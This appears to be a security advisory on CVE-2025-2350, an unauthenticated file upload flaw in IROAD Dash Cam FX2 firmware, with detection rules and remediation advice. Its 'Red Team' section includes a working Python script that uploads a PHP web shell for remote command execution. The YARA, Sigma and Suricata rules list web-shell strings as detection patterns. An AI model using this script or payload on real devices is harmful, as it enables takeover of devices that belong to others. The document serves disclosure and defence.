CVE-2025-2350

Executive Summary

CVE-2025-2350 is a critical unrestricted file upload vulnerability affecting the IROAD Dash Cam FX2 firmware up to version 20250308. The flaw resides in the /action/upload_file endpoint, allowing an attacker with local network access to upload arbitrary files, including web shells, to the device. This can lead to full device compromise, data exfiltration, and potential pivoting into the internal network. The exploit has been publicly disclosed, increasing the risk of active exploitation. No official patch is available, and the vendor has not responded to disclosure attempts.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in an embedded IoT device.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Adjacent Network (AV:A) – Requires local network access.
• Attack Complexity (AC): Low (AC:L) – No special conditions required.
• Privileges Required (PR): None (PR:N) – No authentication needed.
• User Interaction (UI): None (UI:N) – No user action required.
• Scope (S): Unchanged (S:U) – The vulnerable component is the only affected component.
• Confidentiality (C): High (C:H) – Full file system access possible.
• Integrity (I): High (I:H) – Arbitrary file upload allows modification of system files.
• Availability (A): High (A:H) – Could lead to denial of service or device bricking.

CVSS Score: 8.8 (High)
Threat Level: Critical due to public exploit and lack of patch.

Deep Dive & Mechanics

The vulnerability exists in the IROAD Dash Cam FX2 web interface, specifically in the file upload functionality at /action/upload_file. The endpoint does not validate file types, sizes, or content, allowing an attacker to upload any file, including executable scripts (e.g., PHP, shell scripts). Since the device likely runs a lightweight web server with file execution capabilities, an uploaded web shell can be accessed directly, granting remote code execution.

Attack Flow:

1. Attacker connects to the device's Wi-Fi or local network.
2. Sends a crafted HTTP POST request to http://<device-ip>/action/upload_file with a malicious file (e.g., shell.php).
3. The file is stored in a web-accessible directory (e.g., /var/www/html/).
4. Attacker accesses the uploaded file via browser, executing arbitrary commands on the device.

Root Cause: Lack of input validation and missing authentication on the upload endpoint.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

@app.route('/action/upload_file', methods=['POST'])
def upload_file():
    file = request.files['file']
    file.save('/var/www/html/' + file.filename)
    return 'File uploaded'

Patched Code (Recommended):

import os
import magic

ALLOWED_EXTENSIONS = {'txt', 'jpg', 'png'}
UPLOAD_FOLDER = '/var/www/html/uploads/'

@app.route('/action/upload_file', methods=['POST'])
def upload_file():
    if 'file' not in request.files:
        return 'No file', 400
    file = request.files['file']
    if file.filename == '':
        return 'No file selected', 400
    ext = file.filename.rsplit('.', 1)[1].lower()
    if ext not in ALLOWED_EXTENSIONS:
        return 'Invalid extension', 400
    mime = magic.from_buffer(file.read(1024), mime=True)
    if mime not in ['image/jpeg', 'image/png', 'text/plain']:
        return 'Invalid file type', 400
    file.seek(0)
    filename = secure_filename(file.filename)
    file.save(os.path.join(UPLOAD_FOLDER, filename))
    return 'File uploaded'

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• IROAD Dash Cam FX2 on the same local network.
• Python 3 and requests library.

Exploit Script:

import requests

target_ip = "192.168.1.100"  # Replace with actual IP
upload_url = f"http://{target_ip}/action/upload_file"

# Create a simple PHP web shell
shell_content = "<?php system($_GET['cmd']); ?>"
files = {'file': ('shell.php', shell_content, 'application/x-php')}

response = requests.post(upload_url, files=files)
if response.status_code == 200:
    print(f"Shell uploaded: http://{target_ip}/shell.php?cmd=id")
else:
    print("Upload failed")

Usage:

1. Run the script to upload the web shell.
2. Access http://<target_ip>/shell.php?cmd=id to execute commands.

Blue Team (Defensive)

Detection Steps:

1. Monitor network traffic for POST requests to /action/upload_file with unusual file extensions (e.g., .php, .asp, .jsp).
2. Check device logs for file upload events.
3. Use file integrity monitoring to detect new files in web directories.

Mitigation:

• Isolate the device on a separate VLAN with strict firewall rules.
• Disable the web interface if not needed.
• Implement network segmentation to limit exposure.

Indicators of Compromise (IOCs)

• Network:
  • HTTP POST requests to /action/upload_file with Content-Type: multipart/form-data.
  • Outbound connections from the device to unknown IPs (e.g., for C2).
• File System:
  • Unexpected files in /var/www/html/ or similar web directories (e.g., shell.php, cmd.jsp).
  • Modified system binaries or configuration files.
• Behavioral:
  • Unusual processes running on the device (e.g., reverse shells).
  • High CPU or memory usage from web server processes.

Detection Engineering

YARA Rule

rule CVE_2025_2350_IROAD_Upload {
    meta:
        description = "Detects malicious file upload attempts to IROAD Dash Cam FX2"
        author = "Valters IT"
        date = "2025-03-09"
        reference = "CVE-2025-2350"
    strings:
        $upload_path = "/action/upload_file"
        $php_shell = "<?php system("
        $asp_shell = "<% Execute("
        $jsp_shell = "Runtime.getRuntime().exec("
    condition:
        $upload_path and any of ($php_shell, $asp_shell, $jsp_shell)
}

Sigma Rule

title: CVE-2025-2350 IROAD Dash Cam FX2 Unrestricted File Upload
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP POST requests to /action/upload_file with potential web shell content
author: Valters IT
date: 2025-03-09
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/action/upload_file'
    keywords:
        - '<?php'
        - '<%'
        - 'Runtime.getRuntime()'
    condition: selection and keywords
falsepositives:
    - Legitimate firmware updates (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-2350 IROAD Dash Cam FX2 Unrestricted File Upload"; flow:to_server; content:"POST"; http_method; content:"/action/upload_file"; http_uri; content:"<?php"; within:100; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Network Segmentation: Place the device on an isolated VLAN with no internet access.
2. Disable Web Interface: If possible, disable the web management interface via device settings.
3. Firewall Rules: Block inbound connections to the device from untrusted networks.

Long-Term Fix:

• Vendor Patch: Await an official firmware update from IROAD. Contact vendor support to escalate.
• Custom Firmware: If available, apply community-developed patches or custom firmware that fixes the upload validation.
• Device Replacement: Consider replacing the device with a more secure alternative if no patch is forthcoming.

Compensating Controls:

• Deploy a WAF (Web Application Firewall) to inspect and block malicious uploads.
• Use network monitoring tools to detect exploitation attempts.

Valters IT